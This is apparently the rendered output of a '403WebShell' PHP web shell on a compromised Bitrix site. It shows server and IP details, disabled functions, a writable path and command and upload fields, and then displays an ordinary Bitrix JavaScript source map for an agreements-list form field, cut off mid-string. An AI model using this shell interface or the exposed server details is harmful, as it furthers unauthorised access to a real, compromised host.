%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.191.239.107
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/agreementslist/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/agreementslist/dist/agreementslist.bundle.js.map
{"version":3,"file":"agreementslist.bundle.js","sources":["../src/agreementslist.js"],"sourcesContent":["import {Dom, Loc, Reflection, Runtime, Tag, Type} from 'main.core';\nimport {Menu} from 'main.popup';\nimport {BaseField} from 'landing.ui.field.basefield';\nimport {Draggable} from 'ui.draganddrop.draggable';\nimport {RadioButtonField} from 'landing.ui.field.radiobuttonfield';\nimport {FormSettingsForm} from 'landing.ui.form.formsettingsform';\nimport {FormClient} from 'crm.form.client';\nimport {ListItem} from 'landing.ui.component.listitem';\nimport {ActionPanel} from 'landing.ui.component.actionpanel';\nimport {BaseEvent} from 'main.core.events';\nimport {Loader} from 'main.loader';\nimport {Backend} from 'landing.backend';\nimport {FormSettingsPanel} from 'landing.ui.panel.formsettingspanel';\n\nimport './css/style.css';\n\ntype Agreement = {\n\tid: string,\n\tchecked: boolean,\n\tlabel: string,\n\tname: string,\n\trequired: boolean,\n\tvalue: 'Y' | 'N',\n\tcontent: {\n\t\ttext: string,\n\t\ttitle: string,\n\t\turl: ?string,\n\t},\n};\n\ntype AgreementsListItem = {\n\tid: string | number,\n\tname: string,\n\tlabelText: string,\n};\n\n/**\n * @memberOf BX.Landing.UI.Field\n */\nexport class AgreementsList extends BaseField\n{\n\tconstructor(options)\n\t{\n\t\tsuper(options);\n\t\tthis.setEventNamespace('BX.Landing.UI.Field.AgreementsList');\n\n\t\tthis.onSelectAgreementClick = this.onSelectAgreementClick.bind(this);\n\t\tthis.onCreateAgreementClick = this.onCreateAgreementClick.bind(this);\n\t\tthis.onUserConsentEditSave = this.onUserConsentEditSave.bind(this);\n\t\tthis.onUserConsentEditCancel = this.onUserConsentEditCancel.bind(this);\n\t\tthis.onItemRemoveClick = this.onItemRemoveClick.bind(this);\n\t\tthis.onDragEnd = this.onDragEnd.bind(this);\n\n\t\tthis.items = [];\n\n\t\tDom.replace(this.input, this.getListContainer());\n\t\tDom.append(this.getActionsContainer(), this.layout);\n\n\t\tvoid this.showAgreementLoader();\n\n\t\tFormClient\n\t\t\t.getInstance()\n\t\t\t.prepareOptions(this.options.formOptions, this.options.value)\n\t\t\t.then((result) => {\n\t\t\t\treturn result.data.agreements.map((item, index) => {\n\t\t\t\t\treturn Runtime.merge(item, this.options.value[index]);\n\t\t\t\t});\n\t\t\t})\n\t\t\t.then((agreements) => {\n\t\t\t\tvoid this.hideAgreementLoader();\n\t\t\t\tagreements.forEach((agreement) => {\n\t\t\t\t\tthis.addItem(agreement);\n\t\t\t\t});\n\t\t\t});\n\n\t\tthis.draggable = new Draggable({\n\t\t\tcontext: window.parent,\n\t\t\tcontainer: this.getListContainer(),\n\t\t\tdraggable: '.landing-ui-component-list-item',\n\t\t\tdragElement: '.landing-ui-button-icon-drag',\n\t\t\ttype: Draggable.MOVE,\n\t\t\toffset: {\n\t\t\t\ty: -62,\n\t\t\t},\n\t\t});\n\n\t\tthis.draggable\n\t\t\t.subscribe('end', this.onDragEnd);\n\n\t\tconst addCustomEvent = Reflection.getClass('top.BX.addCustomEvent');\n\t\taddCustomEvent(window.top, 'main-user-consent-to-list', this.onUserConsentEditCancel);\n\t\taddCustomEvent(window.top, 'main-user-consent-saved', this.onUserConsentEditSave);\n\t}\n\n\tgetAgreementsList(): Array<AgreementsListItem>\n\t{\n\t\treturn this.cache.remember('agreementsList', () => {\n\t\t\treturn this.options.agreementsList;\n\t\t});\n\t}\n\n\tsetAgreementsList(agreements: Array<AgreementsListItem>)\n\t{\n\t\tthis.cache.set('agreementsList', agreements);\n\t}\n\n\tloadAgreementsList(): Promise<Array<AgreementsListItem>>\n\t{\n\t\treturn Backend.getInstance()\n\t\t\t.action('Form::getAgreements')\n\t\t\t.then((agreements) => {\n\t\t\t\treturn Runtime.orderBy(agreements, ['id'], ['asc']);\n\t\t\t});\n\t}\n\n\tgetAgreementById(id: string | number): ?AgreementsListItem\n\t{\n\t\treturn this.getAgreementsList().find((agreement) => {\n\t\t\treturn String(id) === String(agreement.id);\n\t\t});\n\t}\n\n\taddItem(itemOptions)\n\t{\n\t\tconst item = this.createItem(itemOptions);\n\t\titem.appendTo(this.getListContainer());\n\n\t\tthis.items = this.items.filter((currentItem) => {\n\t\t\treturn String(currentItem.options.id) !== String(item.options.id);\n\t\t});\n\n\t\tthis.items.push(item);\n\t}\n\n\tgetListContainer(): HTMLDivElement\n\t{\n\t\treturn this.cache.remember('listContainer', () => {\n\t\t\treturn Tag.render`<div class=\"landing-ui-field-agreements-list-container\"></div>`;\n\t\t});\n\t}\n\n\tgetActionsContainer(): HTMLDivElement\n\t{\n\t\treturn this.cache.remember('actionsContainer', () => {\n\t\t\treturn Tag.render`\n\t\t\t\t<div class=\"landing-ui-field-agreements-list-actions-container\">\n\t\t\t\t\t${this.getSelectAgreementButton()}\n\t\t\t\t\t${this.getCreateAgreementButton()}\n\t\t\t\t</div>\n\t\t\t`;\n\t\t});\n\t}\n\n\tgetSelectAgreementButton(): HTMLSpanElement\n\t{\n\t\treturn this.cache.remember('selectAgreementButton', () => {\n\t\t\treturn Tag.render`\n\t\t\t\t<span class=\"landing-ui-field-agreements-list-actions-button\" onclick=\"${this.onSelectAgreementClick}\">\n\t\t\t\t\t${Loc.getMessage('LANDING_AGREEMENT_LIST_SELECT_BUTTON_LABEL')}\n\t\t\t\t</span>\n\t\t\t`;\n\t\t});\n\t}\n\n\tgetCreateAgreementButton(): HTMLSpanElement\n\t{\n\t\treturn this.cache.remember('createAgreementButton', () => {\n\t\t\treturn Tag.render`\n\t\t\t\t<span class=\"landing-ui-field-agreements-list-actions-button\" onclick=\"${this.onCreateAgreementClick}\">\n\t\t\t\t\t${Loc.getMessage('LANDING_AGREEMENT_LIST_CREATE_BUTTON_LABEL')}\n\t\t\t\t</span>\n\t\t\t`;\n\t\t});\n\t}\n\n\tgetSelectedAgreements(): Array<number>\n\t{\n\t\treturn [...this.getListContainer().children].map((item) => {\n\t\t\treturn Dom.attr(item, 'data-value');\n\t\t});\n\t}\n\n\tgetAgreementsMenu(): Menu\n\t{\n\t\treturn this.cache.remember('agreementsMenu', () => {\n\t\t\tconst menu = new Menu({\n\t\t\t\tbindElement: this.getSelectAgreementButton(),\n\t\t\t\tautoHide: true,\n\t\t\t\tmaxWidth: 400,\n\t\t\t\tmaxHeight: 205,\n\t\t\t\tevents: {\n\t\t\t\t\tonPopupShow: () => {\n\t\t\t\t\t\tsetTimeout(() => {\n\t\t\t\t\t\t\tDom.style(menu.getMenuContainer(), {\n\t\t\t\t\t\t\t\tleft: '0px',\n\t\t\t\t\t\t\t\tright: 'auto',\n\t\t\t\t\t\t\t\ttop: '30px',\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t});\n\n\t\t\tthis.getAgreementsList()\n\t\t\t\t.filter((agreement) => {\n\t\t\t\t\treturn !this.items.some((item) => {\n\t\t\t\t\t\treturn String(item.options.id) === String(agreement.id);\n\t\t\t\t\t});\n\t\t\t\t})\n\t\t\t\t.forEach((agreement) => {\n\t\t\t\t\tmenu.addMenuItem({\n\t\t\t\t\t\tid: agreement.id,\n\t\t\t\t\t\ttext: agreement.name,\n\t\t\t\t\t\tonclick: this.onAgreementsMenuItemClick.bind(this, agreement),\n\t\t\t\t\t});\n\t\t\t\t});\n\n\t\t\tDom.append(menu.getMenuContainer(), this.getActionsContainer());\n\n\t\t\treturn menu;\n\t\t});\n\t}\n\n\trefreshAgreementsMenu()\n\t{\n\t\tconst agreementsMenu = this.getAgreementsMenu();\n\t\tagreementsMenu.close();\n\t\tagreementsMenu.destroy();\n\t\tthis.cache.delete('agreementsMenu');\n\t}\n\n\t// eslint-disable-next-line class-methods-use-this\n\tcreateItemForm(agreement: Agreement)\n\t{\n\t\treturn new FormSettingsForm({\n\t\t\tid: agreement.id,\n\t\t\ttitle: Loc.getMessage('LANDING_AGREEMENT_FORM_TITLE'),\n\t\t\tonChange: () => {\n\t\t\t\tthis.emit('onChange', {skipPrepare: true});\n\t\t\t},\n\t\t\tserializeModifier(value) {\n\t\t\t\tif (value.type === 'type1')\n\t\t\t\t{\n\t\t\t\t\treturn {\n\t\t\t\t\t\tchecked: true,\n\t\t\t\t\t\trequired: true,\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\tif (value.type === 'type2')\n\t\t\t\t{\n\t\t\t\t\treturn {\n\t\t\t\t\t\tchecked: false,\n\t\t\t\t\t\trequired: true,\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\tif (value.type === 'type3')\n\t\t\t\t{\n\t\t\t\t\treturn {\n\t\t\t\t\t\tchecked: true,\n\t\t\t\t\t\trequired: false,\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\tif (value.type === 'type4')\n\t\t\t\t{\n\t\t\t\t\treturn {\n\t\t\t\t\t\tchecked: false,\n\t\t\t\t\t\trequired: false,\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t},\n\t\t\tfields: [\n\t\t\t\tnew RadioButtonField({\n\t\t\t\t\tselector: 'type',\n\t\t\t\t\tvalue: (() => {\n\t\t\t\t\t\tif (\n\t\t\t\t\t\t\tagreement.checked === true\n\t\t\t\t\t\t\t&& agreement.required === true\n\t\t\t\t\t\t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn 'type1';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (\n\t\t\t\t\t\t\tagreement.checked === false\n\t\t\t\t\t\t\t&& agreement.required === true\n\t\t\t\t\t\t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn 'type2';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (\n\t\t\t\t\t\t\tagreement.checked === true\n\t\t\t\t\t\t\t&& agreement.required === false\n\t\t\t\t\t\t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn 'type3';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (\n\t\t\t\t\t\t\tagreement.checked === false\n\t\t\t\t\t\t\t&& agreement.required === false\n\t\t\t\t\t\t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn 'type4';\n\t\t\t\t\t\t}\n\t\t\t\t\t})(),\n\t\t\t\t\titems: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: 'type1',\n\t\t\t\t\t\t\ttitle: Loc.getMessage('LANDING_AGREEMENT_FORM_TYPE_FIELD_ITEM_1'),\n\t\t\t\t\t\t\ticon: 'landing-ui-agreement-type-1-icon',\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: 'type2',\n\t\t\t\t\t\t\ttitle: Loc.getMessage('LANDING_AGREEMENT_FORM_TYPE_FIELD_ITEM_2'),\n\t\t\t\t\t\t\ticon: 'landing-ui-agreement-type-2-icon',\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: 'type3',\n\t\t\t\t\t\t\ttitle: Loc.getMessage('LANDING_AGREEMENT_FORM_TYPE_FIELD_ITEM_3'),\n\t\t\t\t\t\t\ticon: 'landing-ui-agreement-type-3-icon',\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: 'type4',\n\t\t\t\t\t\t\ttitle: Loc.getMessage('LANDING_AGREEMENT_FORM_TYPE_FIELD_ITEM_4'),\n\t\t\t\t\t\t\ticon: 'landing-ui-agreement-type-4-icon',\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t}),\n\t\t\t\tnew ActionPanel({\n\t\t\t\t\tleft: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: 'edit',\n\t\t\t\t\t\t\ttext: Loc.getMessage('LANDING_AGREEMENT_EDIT_BUTTON_LABEL'),\n\t\t\t\t\t\t\tonClick: () => this.editAgreement(agreement),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: 'list',\n\t\t\t\t\t\t\ttext: Loc.getMessage('LANDING_AGREEMENT_CONSENTS_BUTTON_LABEL'),\n\t\t\t\t\t\t\tonClick: () => this.openConsentsList(agreement),\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t}),\n\t\t\t],\n\t\t});\n\t}\n\n\tgetAgreementLoader(): Loader\n\t{\n\t\treturn this.cache.remember('agreementLoader', () => {\n\t\t\treturn new Loader({\n\t\t\t\tsize: 50,\n\t\t\t\tmode: 'inline',\n\t\t\t\toffset: {\n\t\t\t\t\ttop: '5px',\n\t\t\t\t\tleft: '225px',\n\t\t\t\t},\n\t\t\t});\n\t\t});\n\t}\n\n\tshowAgreementLoader(): Promise\n\t{\n\t\tconst loader = this.getAgreementLoader();\n\t\tconst container = this.getListContainer();\n\t\tDom.append(loader.layout, container);\n\t\treturn loader.show(container);\n\t}\n\n\thideAgreementLoader(): Promise\n\t{\n\t\tconst loader = this.getAgreementLoader();\n\t\tDom.remove(loader.layout);\n\t\treturn loader.hide();\n\t}\n\n\tonAgreementsMenuItemClick(itemOptions)\n\t{\n\t\tvoid this.showAgreementLoader();\n\n\t\tFormClient\n\t\t\t.getInstance()\n\t\t\t.prepareOptions(this.options.formOptions, {agreements: [{id: itemOptions.id}]})\n\t\t\t.then((result) => {\n\t\t\t\tvoid this.hideAgreementLoader();\n\t\t\t\tthis.addItem(result.data.agreements[0]);\n\t\t\t\tthis.emit('onChange', {skipPrepare: true});\n\t\t\t});\n\n\t\tthis.refreshAgreementsMenu();\n\t}\n\n\tonSelectAgreementClick(event: MouseEvent)\n\t{\n\t\tevent.preventDefault();\n\n\t\tconst menu = this.getAgreementsMenu();\n\t\tif (!menu.getPopupWindow().isShown())\n\t\t{\n\t\t\tmenu.show();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmenu.close();\n\t\t}\n\t}\n\n\tonCreateAgreementClick(event: MouseEvent)\n\t{\n\t\tevent.preventDefault();\n\t\tthis.editAgreement({id: 0});\n\t}\n\n\t// eslint-disable-next-line class-methods-use-this\n\tonItemHeaderClick(agreement: Agreement, event: MouseEvent)\n\t{\n\t\tevent.preventDefault();\n\n\t\tconst {parentElement} = event.currentTarget;\n\n\t\tDom.toggleClass(parentElement, 'landing-ui-field-agreements-list-item-active');\n\t}\n\n\tcreateItem(options: Agreement): ListItem\n\t{\n\t\tconst agreementListItem = this.getAgreementById(options.id);\n\n\t\treturn new ListItem({\n\t\t\tid: options.id,\n\t\t\ttitle: agreementListItem.name,\n\t\t\tdescription: agreementListItem.labelText,\n\t\t\tsourceOptions: options,\n\t\t\tdraggable: true,\n\t\t\teditable: true,\n\t\t\tremovable: true,\n\t\t\tform: this.createItemForm(options),\n\t\t\tonRemove: this.onItemRemoveClick,\n\t\t});\n\t}\n\n\tsetCurrentlyEdited(agreement: Agreement)\n\t{\n\t\tthis.cache.set('setCurrentlyEdited', agreement);\n\t}\n\n\tgetCurrentlyEdited(): ?Agreement\n\t{\n\t\treturn this.cache.get('setCurrentlyEdited') || null;\n\t}\n\n\t// eslint-disable-next-line\n\tbuildEditPath(agreementId): string\n\t{\n\t\treturn `/settings/configs/userconsent/edit/${agreementId}/`;\n\t}\n\n\t// eslint-disable-next-line\n\tbuildConsentsListPath(agreementId)\n\t{\n\t\treturn `/settings/configs/userconsent/consents/${agreementId}/`;\n\t}\n\n\teditAgreement(agreement: Agreement)\n\t{\n\t\tthis.setCurrentlyEdited(agreement);\n\n\t\tconst editPath = this.buildEditPath(agreement.id);\n\t\tBX.SidePanel.Instance.open(\n\t\t\teditPath,\n\t\t\t{\n\t\t\t\tcacheable: false,\n\t\t\t\tallowChangeHistory: false,\n\t\t\t},\n\t\t);\n\t}\n\n\tcloseEditAgreementSlider()\n\t{\n\t\tconst currentlyEdited = this.getCurrentlyEdited();\n\t\tif (Type.isPlainObject(currentlyEdited))\n\t\t{\n\t\t\tconst path = this.buildEditPath(currentlyEdited.id);\n\t\t\tconst slider = BX.SidePanel.Instance.getSlider(path);\n\t\t\tif (slider)\n\t\t\t{\n\t\t\t\tslider.close();\n\t\t\t}\n\t\t}\n\t}\n\n\topenConsentsList(agreement: Agreement)\n\t{\n\t\tconst editPath = this.buildConsentsListPath(agreement.id);\n\t\tBX.SidePanel.Instance.open(\n\t\t\teditPath,\n\t\t\t{\n\t\t\t\tcacheable: false,\n\t\t\t\tallowChangeHistory: false,\n\t\t\t},\n\t\t);\n\t}\n\n\tonUserConsentEditCancel()\n\t{\n\t\tthis.closeEditAgreementSlider();\n\t}\n\n\tonUserConsentEditSave()\n\t{\n\t\tthis.closeEditAgreementSlider();\n\t\tvoid this.showAgreementLoader();\n\n\t\tconst value = this.getValue();\n\n\t\tthis.loadAgreementsList()\n\t\t\t.then((agreements) => {\n\t\t\t\tthis.setAgreementsList(agreements);\n\t\t\t\tFormSettingsPanel.getInstance().setAgreements(agreements);\n\n\t\t\t\tconst currentlyEdited = this.getCurrentlyEdited();\n\t\t\t\tif (currentlyEdited && currentlyEdited.id === 0)\n\t\t\t\t{\n\t\t\t\t\tconst lastAgreement = [...agreements].pop();\n\t\t\t\t\tFormClient\n\t\t\t\t\t\t.getInstance()\n\t\t\t\t\t\t.prepareOptions(this.options.formOptions, {agreements: [lastAgreement]})\n\t\t\t\t\t\t.then((result) => {\n\t\t\t\t\t\t\tvoid this.hideAgreementLoader();\n\t\t\t\t\t\t\tthis.addItem(result.data.agreements[0]);\n\t\t\t\t\t\t\tthis.refreshAgreementsMenu();\n\t\t\t\t\t\t\tthis.emit('onChange', {skipPrepare: true});\n\t\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tDom.clean(this.getListContainer());\n\t\t\t\t\tvoid this.showAgreementLoader();\n\n\t\t\t\t\tFormClient\n\t\t\t\t\t\t.getInstance()\n\t\t\t\t\t\t.prepareOptions(this.options.formOptions, {agreements: value})\n\t\t\t\t\t\t.then((result) => {\n\t\t\t\t\t\t\tvoid this.hideAgreementLoader();\n\t\t\t\t\t\t\tthis.items = [];\n\t\t\t\t\t\t\tvalue.forEach((agreement) => {\n\t\t\t\t\t\t\t\tconst resultAgreement = result.data.agreements.find((currentAgreement) => {\n\t\t\t\t\t\t\t\t\treturn String(currentAgreement.id) === String(agreement.id);\n\t\t\t\t\t\t\t\t});\n\n\t\t\t\t\t\t\t\tif (resultAgreement)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tthis.addItem({\n\t\t\t\t\t\t\t\t\t\t...resultAgreement,\n\t\t\t\t\t\t\t\t\t\tchecked: agreement.checked,\n\t\t\t\t\t\t\t\t\t\trequired: agreement.required,\n\t\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tthis.addItem(agreement);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\tthis.refreshAgreementsMenu();\n\t\t\t\t\t\t\tthis.emit('onChange', {skipPrepare: true});\n\t\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t});\n\t}\n\n\tonItemRemoveClick(event: BaseEvent)\n\t{\n\t\tconst value = event.getTarget().getValue();\n\n\t\tthis.items = this.items.filter((item) => {\n\t\t\treturn String(item.options.id) !== String(value.id);\n\t\t});\n\n\t\tthis.refreshAgreementsMenu();\n\t\tthis.emit('onItemRemove', {item: value});\n\t\tthis.emit('onChange', {skipPrepare: true});\n\t}\n\n\tonDragEnd()\n\t{\n\t\tconst items = this.items;\n\t\tthis.items = [];\n\n\t\t[...this.getListContainer().children].forEach((element) => {\n\t\t\tconst id = Dom.attr(element, 'data-id');\n\t\t\tconst item = items.find((currentItem) => {\n\t\t\t\treturn String(currentItem.options.id) === String(id);\n\t\t\t});\n\n\t\t\tif (item)\n\t\t\t{\n\t\t\t\tthis.items.push(item);\n\t\t\t}\n\t\t});\n\n\t\tthis.emit('onChange', {skipPrepare: true});\n\t}\n\n\tgetValue(): Array<Agreement>\n\t{\n\t\treturn this.items.map((item) => {\n\t\t\treturn item.getValue();\n\t\t});\n\t}\n}"],"names":["AgreementsList","options","setEventNamespace","onSelectAgreementClick","bind","onCreateAgreementClick","onUserConsentEditSave","onUserConsentEditCancel","onItemRemoveClick","onDragEnd","items","Dom","replace","input","getListContainer","append","getActionsContainer","layout","showAgreementLoader","FormClient","getInstance","prepareOptions","formOptions","value","then","result","data","agreements","map","item","index","Runtime","merge","hideAgreementLoader","forEach","agreement","addItem","draggable","Draggable","context","window","parent","container","dragElement","type","MOVE","offset","y","subscribe","addCustomEvent","Reflection","getClass","top","cache","remember","agreementsList","set","Backend","action","orderBy","id","getAgreementsList","find","String","itemOptions","createItem","appendTo","filter","currentItem","push","Tag","render","getSelectAgreementButton","getCreateAgreementButton","Loc","getMessage","children","attr","menu","Menu","bindElement","autoHide","maxWidth","maxHeight","events","onPopupShow","setTimeout","style","getMenuContainer","left","right","some","addMenuItem","text","name","onclick","onAgreementsMenuItemClick","agreementsMenu","getAgreementsMenu","close","destroy","delete","FormSettingsForm","title","onChange","emit","skipPrepare","serializeModifier","checked","required","fields","RadioButtonField","selector","icon","ActionPanel","onClick","editAgreement","openConsentsList","Loader","size","mode","loader","getAgreementLoader","show","remove","hide","refreshAgreementsMenu","event","preventDefault","getPopupWindow","isShown","parentElement","currentTarget","toggleClass","agreementListItem","getAgreementById","ListItem","description","labelText","sourceOptions","editable","removable","form","createItemForm","onRemove","get","agreementId","setCurrentlyEdited","editPath","buildEditPath","BX","SidePanel","Instance","open","cacheable","allowChangeHistory","currentlyEdited","getCurrentlyEdited","Type","isPlainObject","path","slider","getSlider","buildConsentsListPath","closeEditAgreementSlider","getValue","loadAgreementsList","setAgreementsList","FormSettingsPanel","setAgreements","lastAgreement","pop","clean","resultAgreement","currentAgreement","getTarget","element","BaseField"],"mappings":"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